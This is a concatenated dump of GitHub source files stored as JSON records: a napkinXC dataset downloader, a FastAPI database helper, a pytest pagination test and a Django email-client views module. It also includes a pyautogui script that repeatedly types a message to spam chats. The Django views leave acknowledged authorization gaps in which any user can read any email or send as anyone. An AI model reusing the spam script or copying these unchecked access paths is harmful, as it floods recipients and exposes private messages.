'tst_X_Xf.txt', 'Y': 'tst_X_Y.txt'},\n            'file_format': 'XY_sparse',\n        },\n        'raw': {\n            'url': 'https://drive.google.com/uc?export=download&id=1m0MMApC0vPpjEfI35SAaBGqKDsYypVXs', # XMLC repo url\n            'dir': 'AmazonTitles-3M',\n            'train': 'trn.json.gz',\n            'test': 'tst.json.gz',\n            'file_format': 'jsonlines',\n            'features_fields': ['title'],\n            'labels_field': 'target_ind'\n        }\n    },\n    'amazon-3m': {\n        'name': 'Amazon-3M',\n        'formats': ['bow', 'raw'],\n        'subsets': ['train', 'test'],\n        'bow': {\n            'url': 'https://drive.google.com/uc?export=download&id=0B3lPMIHmG6vGUEd4eTRxaWl3YkE', # XMLC repo url\n            'dir': 'Amazon-3M',\n            'train': 'amazon-3M_train.txt',\n            'test': 'amazon-3M_test.txt',\n            'file_format': 'libsvm',\n        },\n        'raw': {\n            'url': 'https://drive.google.com/uc?export=download&id=1gsabsx8KR2N9jJz16jTcA0QASXsNuKnN', # XMLC repo url\n            'dir': 'Amazon-3M.raw',\n            'train': 'trn.json.gz',\n            'test': 'tst.json.gz',\n            'file_format': 'jsonlines',\n            'features_fields': ['title', 'content'],\n            'labels_field': 'target_ind'\n        }\n    },\n    'lf-amazontitles-131k': {\n        'name': 'LF-AmazonTitles-131K',\n        'formats': ['bow'],\n        'subsets': ['train', 'test'],\n        'bow': {\n            'url': 'https://drive.google.com/uc?export=download&id=1VlfcdJKJA99223fLEawRmrXhXpwjwJKn', # XMLC repo url\n            'dir': 'LF-AmazonTitles-131K',\n            'train': 'train.txt',\n            'test': 'test.txt',\n            'file_format': 'libsvm',\n        }\n    },\n    'lf-amazon-131k': {\n        'name': 'LF-Amazon-131K',\n        'formats': ['bow'],\n        'subsets': ['train', 'test'],\n        'bow': {\n            'url': 'https://drive.google.com/uc?export=download&id=1YNGEifTHu4qWBmCaLEBfjx07qRqw9DVW', # XMLC repo url\n            'dir': 'LF-Amazon-131K',\n            'train': 'train.txt',\n            'test': 'test.txt',\n            'file_format': 'libsvm',\n        }\n    },\n    'lf-wikiseealsotitles-320k': {\n        'name': 'LF-WikiSeeAlsoTitles-320K',\n        'formats': ['bow'],\n        'subsets': ['train', 'test'],\n        'bow': {\n            'url': 'https://drive.google.com/uc?export=download&id=1edWtizAFBbUzxo9Z2wipGSEA9bfy5mdX', # XMLC repo url\n            'dir': 'LF-WikiSeeAlsoTitles-320K',\n            'train': 'train.txt',\n            'test': 'test.txt',\n            'file_format': 'libsvm',\n        }\n    },\n    'lf-wikiseealso-320k': {\n        'name': 'LF-WikiSeeAlso-320K',\n        'formats': ['bow'],\n        'subsets': ['train', 'test'],\n        'bow': {\n            'url': 'https://drive.google.com/uc?export=download&id=1N8C_RL71ErX6X92ew9h8qRuTWJ9LywE8', # XMLC repo url\n            'dir': 'LF-WikiSeeAlso-320K',\n            'train': 'train.txt',\n            'test': 'test.txt',\n            'file_format': 'libsvm',\n        }\n    },\n    'lf-wikititles-500k': {\n        'name': 'LF-WikiTitles-500K',\n        'formats': ['bow'],\n        'subsets': ['train', 'test'],\n        'bow': {\n            'url': 'https://drive.google.com/uc?export=download&id=1qa1HTTD509J5r4yNAH-Aq6wArljgg4mx', # XMLC repo url\n            'dir': 'LF-WikiTitles-500K',\n            'train': 'train.txt',\n            'test': 'test.txt',\n            'file_format': 'libsvm',\n        }\n    },\n    'lf-amazontitles-1.3m': {\n        'name': 'LF-AmazonTitles-1.3M',\n        'formats': ['bow'],\n        'subsets': ['train', 'test'],\n        'bow': {\n            'url': 'https://drive.google.com/uc?export=download&id=1Davc6BIfoTIAS3mP1mUY5EGcGr2zN2pO', # XMLC repo url\n            'dir': 'LF-AmazonTitles-1.3M',\n            'train': 'train.txt',\n            'test': 'test.txt',\n            'file_format': 'libsvm',\n        }\n    },\n}\n\n\n# Main functions for downloading and loading datasets\ndef load_libsvm_file(file):\n    \"\"\"\n    Load data in the libsvm format into sparse CSR matrix.\n    The format is text-based. Each line contains an instance and is ended by a ``\\\\n`` character.\n\n    .. code::\n\n        <label>,<label>,... <feature>(:<value>) <feature>(:<value>) ...\n\n    ``<label>`` and ``<feature>`` are indexes that should be positive integers.\n    This method supports less-strict versions of the format.\n    Labels and features do not have to be sorted in ascending order.\n    The ``:<value>`` can be omitted after ``<feature>``, to assume value = 1.\n    It automatically detects header used in format of datasets from\n    `The Extreme Classification Repository <https://manikvarma.github.io/downloads/XC/XMLRepository.html>`_,\n\n    :param file: Path to a file to load\n    :type file: str\n    :return:  Features matrix and labels\n    :rtype: (csr_matrix, list[list[int]])\n    \"\"\"\n    labels, indptr, indices, data = _load_libsvm_file(file)\n    return csr_matrix((data, indices, indptr)), labels\n\n\ndef load_json_lines_file(file, features_fields=['title', 'content'], labels_field='target_ind', gzip_file=None):\n    \"\"\"\n    :param file: Path to a JSON lines file to load\n    :type file: str\n    :param features_fields: list of fields of JSON line that contain features, fields will be concatenated in the specified order, defaults to ['title', 'content']\n    :type features_fields: list[str], optional\n    :param labels_field: field name that contains labels, defaults to 'target_ind'\n    :type labels_field: str, optional\n    :param gzip_file: If True, read file as gzip file, if None, decide based on file extension, defaults to None\n    :type gzip_file: bool, optional\n    :return: Raw text of documents and labels\n    :rtype: (list[str], list[list[int|str]])\n    \"\"\"\n\n    X = []\n    Y = []\n    if gzip_file == True or file[-3:] == '.gz':\n        f = gzip.open(file, 'rb')\n    else:\n        f = open(file, 'r')\n    for line in f:\n        data = json.loads(line)\n        if not all(f in data for f in features_fields):\n            raise ValueError(\"Not all features fields {} are not in {}\".format(features_fields, data))\n        if not labels_field in data:\n            raise ValueError(\"Labels field {} is not not in {}\".format(labels_field, data))\n        X.append(' '.join([data[f] for f in features_fields]))\n        Y.append(data[labels_field])\n\n    return X, Y\n\n\ndef download_dataset(dataset, subset='train', format='bow', root='./data', verbose=False):\n    \"\"\"\n    Downloads the dataset from the internet and puts it in root directory.\n    If dataset is already downloaded, it is not downloaded again.\n\n    :param dataset: Name of the dataset to load, case insensitive, available datasets:\n\n        - ``'Eurlex-4K'`` (``'bow'`` format only),\n        - ``'Eurlex-4.3K'`` (``'bow'`` format only),\n        - ``'AmazonCat-13K'``,\n        - ``'AmazonCat-14K'``,\n        - ``'Wiki10-31K'`` (alias: ``'Wiki10'``, ``'bow'`` format only),\n        - ``'DeliciousLarge-200K'`` (alias: ``'DeliciousLarge'``, ``'bow'`` format only)\n        - ``'WikiLSHTC-325K'`` (alias: ``'WikiLSHTC'``, ``'bow'`` format only)\n        - ``'WikiSeeAlsoTitles-350K'``,\n        - ``'WikiTitles-500K'``,\n        - ``'WikipediaLarge-500K'`` (alias: ``'WikipediaLarge'``),\n        - ``'AmazonTitles-670K'``,\n        - ``'Amazon-670K'``,\n        - ``'AmazonTitles-3M'``,\n        - ``'Amazon-3M'``,\n        - ``'LF-AmazonTitles-131K'`` (for now ``'bow'`` format only),\n        - ``'LF-Amazon-131K'`` (for now ``'bow'`` format only),\n        - ``'LF-WikiSeeAlsoTitles-320K'`` (for now ``'bow'`` format only),\n        - ``'LF-WikiSeeAlso-320K'`` (for now ``'bow'`` format only),\n        - ``'LF-WikiTitles-500K'`` (for now ``'bow'`` format only),\n        - ``'LF-AmazonTitles-1.3M'`` (for now ``'bow'`` format only).\n\n    :type dataset: str\n    :param subset: Subset of dataset to load into features matrix and labels {``'train'``, ``'test'``, ``'validation'``}, defaults to ``'train'``\n    :type subset: str, optional\n    :param format: Format of dataset to load {``'bow'`` (bag-of-words/tf-idf weights, alias ``'tf-idf'``), ``'raw'`` (raw text)}, defaults to ``'bow'``\n    :type format: str, optional\n    :param root: Location of datasets directory, defaults to ``'./data'``\n    :type root: str, optional\n    :param verbose: If True print downloading and loading progress, defaults to False\n    :type verbose: bool, optional\n    \"\"\"\n    dataset_meta = _get_data_meta(dataset, subset=subset, format=format)\n    dataset_dest = path.join(root, dataset.lower() + '_' + format + \".zip\")\n    data_dir = path.join(root, dataset_meta['dir'])\n    file_path = dataset_meta[subset]\n\n    if isinstance(file_path, str):\n        file_path = [file_path]\n    elif isinstance(file_path, dict):\n        file_path = file_path.values()\n    if not all(path.exists(path.join(data_dir, f)) for f in file_path):\n        if 'drive.google.com' in dataset_meta['url']:\n            _download_file_from_google_drive(dataset_meta['url'], dataset_dest, unzip=True, overwrite=True, delete_zip=True, verbose=verbose)\n\n\ndef load_dataset(dataset, subset='train', format='bow', root='./data', verbose=False):\n    \"\"\"\n    Downloads the dataset from the internet and puts it in root directory.\n    If dataset is already downloaded, it is not downloaded again.\n    Then loads requested datasets into features matrix and labels.\n\n    :param dataset: Name of the dataset to load, case insensitive, available datasets:\n\n        - ``'Eurlex-4K'`` (``'bow'`` format only),\n        - ``'Eurlex-4.3K'`` (``'bow'`` format only),\n        - ``'AmazonCat-13K'``,\n        - ``'AmazonCat-14K'``,\n        - ``'Wiki10-31K'`` (alias: ``'Wiki10'``, ``'bow'`` format only),\n        - ``'DeliciousLarge-200K'`` (alias: ``'DeliciousLarge'``, ``'bow'`` format only)\n        - ``'WikiLSHTC-325K'`` (alias: ``'WikiLSHTC'``, ``'bow'`` format only)\n        - ``'WikiSeeAlsoTitles-350K'``,\n        - ``'WikiTitles-500K'``,\n        - ``'WikipediaLarge-500K'`` (alias: ``'WikipediaLarge'``),\n        - ``'AmazonTitles-670K'``,\n        - ``'Amazon-670K'``,\n        - ``'AmazonTitles-3M'``,\n        - ``'Amazon-3M'``,\n        - ``'LF-AmazonTitles-131K'`` (for now ``'bow'`` format only),\n        - ``'LF-Amazon-131K'`` (for now ``'bow'`` format only),\n        - ``'LF-WikiSeeAlsoTitles-320K'`` (for now ``'bow'`` format only),\n        - ``'LF-WikiSeeAlso-320K'`` (for now ``'bow'`` format only),\n        - ``'LF-WikiTitles-500K'`` (for now ``'bow'`` format only),\n        - ``'LF-AmazonTitles-1.3M'`` (for now ``'bow'`` format only).\n\n    :type dataset: str\n    :param subset: Subset of dataset to load into features matrix and labels {``'train'``, ``'test'``, ``'validation'``}, defaults to ``'train'``\n    :type subset: str, optional\n    :param format: Format of dataset to load {``'bow'`` (bag-of-words/tf-idf weights, alias ``'tf-idf'``), ``'raw'`` (raw text)}, defaults to ``'bow'``\n    :type format: str, optional\n    :param root: Location of datasets directory, defaults to ``'./data'``\n    :type root: str, optional\n    :param verbose: If True print downloading and loading progress, defaults to False\n    :type verbose: bool, optional\n    :return: Tuple of features matrix and labels.\n    :rtype: (csr_matrix, list[list[int]]) or (list[str], list[list[str]])\n    \"\"\"\n    download_dataset(dataset, subset=subset, format=format, root=root, verbose=verbose)\n    dataset_meta = _get_data_meta(dataset, subset=subset, format=format)\n    file_format = dataset_meta['file_format']\n    data_dir = path.join(root, dataset_meta['dir'])\n    file_path = dataset_meta[subset]\n\n    if file_format == 'libsvm':\n        return load_libsvm_file(path.join(data_dir, file_path))\n    elif file_format == 'XY_sparse':\n        X, _ = load_libsvm_file(path.join(data_dir, file_path['X']))\n        Y, _ = load_libsvm_file(path.join(data_dir, file_path['Y']))\n        return X, Y\n    elif file_format == 'jsonlines':\n        return load_json_lines_file(path.join(data_dir, file_path), features_fields=dataset_meta['features_fields'], labels_field=dataset_meta['labels_field'])\n    else:\n        raise ValueError(\"File format {} is not supported\".format(file_format))\n\n\ndef to_csr_matrix(X, shape=None, sort_indices=False, dtype=np.float32):\n    \"\"\"\n    Converts matrix-like object to Scipy csr_matrix.\n\n    :param X: Matrix-like object to convert to csr_matrix: ndarray or list of lists of ints or tuples of ints and floats (idx, value).\n    :type X: ndarray, list[list[int|str]], list[list[tuple[int, float]]\n    :param shape: Shape of the matrix, if None, shape will be deduce from X, defaults to None\n    :type shape: tuple, optional\n    :param sort_indices: Sort rows' data by indices (idx), defaults to False\n    :type sort_indices: bool, optional\n    :param dtype: Data type of the matrix, defaults to np.float32\n    :type dtype: type, optional\n    :return: X as csr_matrix.\n    :rtype: csr_matrix\n    \"\"\"\n    if isinstance(X, list) and isinstance(X[0], (list, tuple, set)):\n        size = 0\n        for x in X:\n            size += len(x)\n\n        indptr = np.zeros(len(X) + 1, dtype=np.int32)\n        indices = np.zeros(size, dtype=np.int32)\n        data = np.ones(size, dtype=dtype)\n        cells = 0\n\n        if isinstance(X[0][0], int):\n            for row, x in enumerate(X):\n                indptr[row] = cells\n                indices[cells:cells + len(x)] = sorted(x) if sort_indices else x\n                cells += len(x)\n            indptr[len(X)] = cells\n\n        elif isinstance(X[0][0], tuple):\n            for row, x in enumerate(X):\n                indptr[row] = cells\n                x = sorted(x) if sort_indices else x\n                for x_i in x:\n                    indices[cells] = x_i[0]\n                    data[cells] = x_i[1]\n                    cells += 1\n            indptr[len(X)] = cells\n\n        return csr_matrix((data, indices, indptr), shape=shape)\n    elif isinstance(X, np.ndarray):\n        return csr_matrix(X, dtype=dtype, shape=shape)\n    else:\n        raise TypeError('Cannot convert X to csr_matrix')\n\n\n# Helpers\ndef _get_data_meta(dataset, subset='train', format='bow'):\n    aliases = {\n        'wiki10': 'wiki10-31k',\n        'deliciouslarge': 'deliciouslarge-200k',\n        'wikilshtc': 'wikilshtc-325k',\n        'wikipedialarge': 'wikipedialarge-500k'\n    }\n\n    _dataset = dataset.lower()\n    if _dataset in aliases:\n        _dataset = aliases[_dataset]\n    _format = format\n    if _format == 'tf-idf':\n        _format = 'bow'\n\n    if _dataset not in DATASETS:\n        raise ValueError(\"Dataset {} is not available\".format(dataset))\n\n    if _format not in DATASETS[_dataset]['formats']:\n        raise ValueError(\"Format {} is not available for dataset {}\".format(format, dataset))\n\n    if subset is not None and subset not in DATASETS[_dataset]['subsets']:\n        raise ValueError(\"Subset {} is not available for dataset {}\".format(format, dataset))\n\n    return DATASETS[_dataset][format]\n\n\ndef _download_file_from_google_drive(url, dest_path, overwrite=False, unzip=False, delete_zip=False, verbose=False):\n    \"\"\"\n    Downloads a shared file from google drive into a given folder and optionally unzips it.\n\n    :param url: File url to download\n    :type url: str\n    :param dest_path: The destination where to save the downloaded file\n    :type dest_path: str\n    :param overwrite: If True force redownload and overwrite, defaults to False\n    :type overwrite: bool\n    :param unzip: If True unzip a file, optional, defaults to False\n    :type unzip: bool\n    :param delete_zip: If True and unzips is True delete archive file after unziping, defaults to False\n    :type delete_zip: bool\n    :param verbose: If True print downloading progress, defaults to False\n    :type verbose: bool\n    :return: None\n    \"\"\"\n\n    download_url = 'https://drive.google.com/uc?export=download'\n    re_match = re.search('id=([\\w\\d\\-]+)', url)\n    file_id = re_match.group(1)\n\n    destination_directory = path.dirname(dest_path)\n    if not path.exists(destination_directory):\n        makedirs(destination_directory)\n\n    if not path.exists(dest_path) or overwrite:\n        if verbose:\n            print('Downloading {} into {} ... '.format(url, dest_path))\n\n        session = requests.Session()\n        response = session.get(download_url, params={'id': file_id}, stream=True)\n        token = _get_google_drive_confirm_token(response)\n        if token:\n            params = {'id': file_id, 'confirm': token}\n            response = session.get(download_url, params=params, stream=True)\n        current_download_size = [0]\n        _save_response_content(response, dest_path, verbose, current_download_size)\n\n        if unzip:\n            try:\n                if verbose:\n                    print('Unzipping ...')\n\n                with zipfile.ZipFile(dest_path, 'r') as z:\n                    z.extractall(destination_directory)\n                if delete_zip:\n                    remove(dest_path)\n\n            except zipfile.BadZipfile:\n                warnings.warn('Ignoring `unzip` since \"{}\" does not look like a valid zip file'.format(file_id))\n\n        if verbose:\n            print('Done.')\n\n\ndef _get_google_drive_confirm_token(response):\n    for key, value in response.cookies.items():\n        if key.startswith('download_warning'):\n            return value\n    return None\n\n\ndef _save_response_content(response, destination, verbose, current_size, chunk_size=32768):\n    with open(destination, 'wb') as f:\n        for chunk in response.iter_content(chunk_size):\n            if chunk:  # filter out keep-alive new chunks\n                f.write(chunk)\n                if verbose:\n                    print('\\r' + _sizeof_fmt(current_size[0]), end=' ')\n                    stdout.flush()\n                    current_size[0] += chunk_size\n\n\ndef _sizeof_fmt(num, suffix='B'):\n    for unit in ['', 'K', 'M', 'G', 'T', 'P', 'E', 'Z']:\n        if abs(num) < 1024.0:\n            return '{:.1f} {}{}'.format(num, unit, suffix)\n        num /= 1024.0\n    return '{:.1f} {}{}'.format(num, 'Y', suffix)\n", "repo_name": "UniqueUpToPermutation/PECOStoNapkinXC", "sub_path": "napkinXC/python/napkinxc/datasets.py", "file_name": "datasets.py", "file_ext": "py", "file_size_in_byte": 26896, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "_napkinxc._load_libsvm_file", "line_number": 363, "usage_type": "call"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 364, "usage_type": "call"}, {"api_name": "gzip.open", "line_number": 384, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 388, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 438, "usage_type": "call"}, {"api_name": "os.path", "line_number": 438, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 439, "usage_type": "call"}, {"api_name": "os.path", "line_number": 439, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 446, "usage_type": "call"}, {"api_name": "os.path", "line_number": 446, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 446, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 495, "usage_type": "call"}, {"api_name": "os.path", "line_number": 495, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 499, "usage_type": "call"}, {"api_name": "os.path", "line_number": 499, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 501, "usage_type": "call"}, {"api_name": "os.path", "line_number": 501, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 502, "usage_type": "call"}, {"api_name": "os.path", "line_number": 502, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 505, "usage_type": "call"}, {"api_name": "os.path", "line_number": 505, "usage_type": "name"}, {"api_name": "numpy.float32", "line_number": 510, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 530, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 530, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 531, "usage_type": "call"}, {"api_name": "numpy.int32", "line_number": 531, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 532, "usage_type": "call"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 552, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 553, "usage_type": "attribute"}, {"api_name": "scipy.sparse.csr_matrix", "line_number": 554, "usage_type": "call"}, {"api_name": "re.search", "line_number": 607, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 610, "usage_type": "call"}, {"api_name": "os.path", "line_number": 610, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 611, "usage_type": "call"}, {"api_name": "os.path", "line_number": 611, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 612, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 614, "usage_type": "call"}, {"api_name": "os.path", "line_number": 614, "usage_type": "name"}, {"api_name": "requests.Session", "line_number": 618, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 632, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 635, "usage_type": "call"}, {"api_name": "zipfile.BadZipfile", "line_number": 637, "usage_type": "attribute"}, {"api_name": "warnings.warn", "line_number": 638, "usage_type": "call"}, {"api_name": "sys.stdout.flush", "line_number": 658, "usage_type": "call"}, {"api_name": "sys.stdout", "line_number": 658, "usage_type": "name"}]}
{"seq_id": "22292949465", "text": "#spam bot by Ar73\r\n#first install pyautogui using \"pip install pyautogui\"\r\nimport pyautogui as pi\r\nimport time\r\n\r\nm = input('Enter the message: ')\r\nn = input('Enter the number of messages: ')\r\n\r\ntime.sleep(5)\r\n#enter the number to be cooldowned here\r\nprint('NOWW')\r\n#you can change 'NOWW' to anthing\r\nfor i in range(0, (int(n))):\r\n    pi.typewrite(m + '\\n')\r\n\r\n#easy spam bot by Ar73 :))", "repo_name": "Ar7373/Spam-bot-", "sub_path": "spam.py", "file_name": "spam.py", "file_ext": "py", "file_size_in_byte": 387, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "time.sleep", "line_number": 9, "usage_type": "call"}, {"api_name": "pyautogui.typewrite", "line_number": 14, "usage_type": "call"}]}
{"seq_id": "40470016616", "text": "import logging\nfrom datetime import datetime\nfrom pathlib import Path\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import Session\nfrom fastapi.responses import JSONResponse\nfrom sqlalchemy.ext.declarative import declarative_base\n\n\nBase_auth = declarative_base()\nBase_db = declarative_base()\n\n\ndef load_session(session_type: str) -> (Session, bool):\n    db_exists = False\n    engine = None\n    if session_type == \"auth\":\n        db_exists = Path.exists(Path(\"tmp/auth.db\"))\n        engine = create_engine(\n            f\"sqlite:////tmp/auth.db?check_same_thread=False\")  # создание движка базы данных\n        Base_auth.metadata.create_all(bind=engine)  # создание базы данных\n    elif session_type == \"data\":\n        db_exists = Path.exists(Path(\"tmp/database.db\"))\n        engine = create_engine(\n            f\"sqlite:////tmp/database.db?check_same_thread=False\")  # создание движка базы данных\n        Base_db.metadata.create_all(bind=engine)  # создание базы данных\n\n    return Session(bind=engine), db_exists\n\n\ndef base_logger(msg: str, module_name: str) -> None:\n    time = datetime.now().time()\n    logging.info(f\" {time.strftime('%H:%M:%S')} {module_name}: {msg}\")\n\n\ndef create_logger(filename: str) -> None:\n    logging.basicConfig(filename=filename, level=logging.INFO)\n    logging.info(\"\\n\" * 3 + \"/\" * 50)\n\n\ndef create_json_response(content: dict) -> JSONResponse:\n    return JSONResponse(content=content)\n", "repo_name": "Serzho/Database_Server", "sub_path": "server/service.py", "file_name": "service.py", "file_ext": "py", "file_size_in_byte": 1512, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sqlalchemy.ext.declarative.declarative_base", "line_number": 11, "usage_type": "call"}, {"api_name": "sqlalchemy.ext.declarative.declarative_base", "line_number": 12, "usage_type": "call"}, {"api_name": "pathlib.Path.exists", "line_number": 19, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 19, "usage_type": "name"}, {"api_name": "sqlalchemy.create_engine", "line_number": 20, "usage_type": "call"}, {"api_name": "pathlib.Path.exists", "line_number": 24, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 24, "usage_type": "name"}, {"api_name": "sqlalchemy.create_engine", "line_number": 25, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 29, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.Session", "line_number": 15, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 33, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 33, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 34, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 38, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 38, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 39, "usage_type": "call"}, {"api_name": "fastapi.responses.JSONResponse", "line_number": 43, "usage_type": "call"}, {"api_name": "fastapi.responses.JSONResponse", "line_number": 42, "usage_type": "name"}]}
{"seq_id": "32197809230", "text": "import requests\n\nimport pytest\n\n\n@pytest.mark.parametrize('paged_url', ['sessions', 'tests', 'users'])\ndef test_pagination_cap(client, paged_url):\n    url = client.api.url.add_path('rest').add_path(paged_url)\n    for page_size, should_work in [\n            (50, True),\n            (2001, False),\n            ]:\n        resp = client.api.session.get(url.set_query_param('page_size', str(page_size)))\n        if should_work:\n            resp.raise_for_status()\n        else:\n            assert resp.status_code == requests.codes.bad_request\n", "repo_name": "getslash/backslash", "sub_path": "tests/test_api.py", "file_name": "test_api.py", "file_ext": "py", "file_size_in_byte": 539, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 16, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.codes", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pytest.mark.parametrize", "line_number": 6, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 6, "usage_type": "attribute"}]}
{"seq_id": "25254782039", "text": "from django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom django.contrib.auth import authenticate\nfrom django.contrib.auth import login as auth_login\nfrom django.contrib.auth import logout as auth_logout\nfrom django.contrib.auth.hashers import get_hasher\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.decorators.http import require_http_methods\n\n\nfrom .forms import UserRegistrationForm, ComposeForm, UserResetForm, NoteForm\nfrom .models import Recipient, Sender, Email, CustomUser, Note\n\n\ndef verify_email_auth(func, *args, **kwargs):\n    \"\"\"\n    Decorator function to check if a user is logged in to the\n    Email client before granting access to a page.\n    \"\"\"\n\n    def checker(*args, **kwargs):\n        request = args[0]   # should be first pos arg\n        if request is not None:\n            email_session = request.session.get('email_session', None)\n            if email_session:\n                # user is logged in, continue to view\n                return func(*args, **kwargs)\n            else:\n                # user is not logged in, warn them\n                messages.warning(request, \"Please sign-in to continue.\")\n\n        return redirect('/email_login')\n\n    return checker\n\n@login_required\n@verify_email_auth\n@require_http_methods(['GET'])\ndef view_email(request, email_uid):\n    \"\"\"\n    Handles serving individual email pages.\n    \"\"\"\n\n    # TODO: make it so that not just any user can view any email as long as they know the UID\n\n    # fetch the requested email from the DB\n    email = Email.objects.get(uid=email_uid)\n\n    # get respective sender\n    sender = email.sender_email.get()\n\n    # get respective recipients\n    recipients = ', '.join([recipient.user.email for recipient in email.recipient_set.all()])\n\n    return render(request, 'view_email.html', {\n        'user': request.user,\n        'email': email,\n        'sender': sender,\n        'to': recipients,\n        'attachments': [attach for attach in email.attachment_set.all()]\n    })\n\n\n@login_required\n@verify_email_auth\n@require_http_methods(['GET', 'POST'])\ndef outbox(request):\n    \"\"\"\n    Serves the user's outbox, or sent messages.\n    \"\"\"\n\n    # get all of the emails that the user has sent\n    emails = []\n    senders = Sender.objects.filter(user=request.user)\n    for sender in senders:\n        if sender.is_draft:\n            continue    # skip this email since it hasn't been sent yet (still a draft)\n\n        email = sender.email\n        emails.append({\n            'uid': email.uid,\n            'subject': email.subject,\n            'from': email.sender_email.all()[0].user.email,\n            'to': ', '.join([recipient.user.email for recipient in email.recipient_set.all()]),\n            'body': email.body\n        })\n\n    return render(request, 'inbox.html', {\n        'user': request.user,\n        'folder': 'outbox',\n        'emails': emails\n    })\n\n\n@login_required\n@verify_email_auth\n@require_http_methods(['GET', 'POST'])\ndef inbox(request):\n    \"\"\"\n    Home page of Simple Email. Serves the user's inbox.\n    \"\"\"\n\n    # get all emails received by the user that have been sent\n    emails = []\n    recipients = Recipient.objects.filter(user=request.user)\n    for recipient in recipients:\n        if not recipient.is_sent:\n            continue    # skip this email since it hasn't been sent yet (still a draft)\n\n        email = recipient.email\n        emails.append({\n            'uid': email.uid,\n            'subject': email.subject,\n            'from': email.sender_email.all()[0].user.email,\n            'to': ', '.join([recipient.user.email for recipient in email.recipient_set.all()]),\n            'body': email.body\n        })\n\n    return render(request, 'inbox.html', {\n        'user': request.user,\n        'folder': 'inbox',\n        'emails': emails\n    })\n\n\n@login_required\n@verify_email_auth\n@require_http_methods(['GET'])\ndef search(request):\n    \"\"\"\n    Handles searching for emails.\n    \"\"\"\n\n    # get query from GET data\n    query = request.GET['query']\n\n    # check if the user has given a valid query\n    if not query:\n        messages.error(request, \"Invalid search query!\")\n        return redirect('/')\n\n    # setup\n    emails = {}\n    sender_results = Sender.objects.none()\n    recipient_results = Recipient.objects.none()\n\n    # query DB for matching sent emails\n    senders = Sender.objects.filter(user=request.user)\n    if query in request.user.email:\n        # if the user's query is for their own email, add sent emails\n        sender_results = sender_results | senders\n    sender_results = sender_results | senders.filter(email__body__contains=query)\n    sender_results = sender_results | senders.filter(email__subject__contains=query)\n\n    # find any sent emails whose recipients match the query\n    for sender in senders:\n        recipient_results = recipient_results | sender.email.recipient_set.filter(user__email__contains=query)\n\n    # query DB for matching recipients\n    recipients = Recipient.objects.filter(user=request.user)\n    if query in request.user.email:\n        # if the user's query is for their own email, add sent emails\n        recipient_results = recipient_results | recipients\n    recipient_results = recipient_results | Recipient.objects.filter(user=request.user, email__body__contains=query)\n    recipient_results = recipient_results | Recipient.objects.filter(user=request.user, email__subject__contains=query)\n\n    # find any sent emails whose recipients match the query\n    for recipient in recipients:\n        sender_results = sender_results | recipient.email.sender_email.all().filter(user__email__contains=query)\n\n    # add together matching sender results\n    for sender in sender_results:\n        emails[sender.email.uid] = {\n            'subject': sender.email.subject,\n            'body': sender.email.body,\n            'from': sender.user.email,\n            'to': ', '.join([recipient.user.email for recipient in sender.email.recipient_set.all()]),\n        }\n\n    # add together matching recipient results\n    for recipient in recipient_results:\n        if emails.get(recipient.email.uid):\n            # this email has already been added, skip it\n            continue\n        emails[recipient.email.uid] = {\n            'uid': recipient.email.uid,\n            'subject': recipient.email.subject,\n            'body': recipient.email.body,\n            'from': recipient.email.sender_email.get().user.email,\n            'to': recipient.user.email\n        }\n\n    # render and return any results\n    return render(request, 'search.html', {\n        'user': request.user,\n        'emails': emails\n    })\n\n\n@login_required\n@verify_email_auth\n@require_http_methods(['GET', 'POST'])\ndef compose(request):\n    \"\"\"\n    Serves the compose page. Creates emails when users finish composing.\n    \"\"\"\n\n    # TODO: make it so that not just any user can create an email as any user they want\n\n    if request.method == 'POST':\n        form = ComposeForm(request.POST, request.FILES)\n        if form.is_valid():\n            # create email instance and respective relations\n            form.create_email_and_relations(request.FILES)\n\n            # notify user and redirect to inbox\n            messages.success(request, \"Message sent!\")\n            return redirect('/')\n\n        else:\n            # compose is bad, notify user\n            for error, data in form.errors.items():\n                if error == 'subject':\n                    messages.error(request, 'Invalid subject: subject cannot be empty!')\n                    continue\n\n                elif 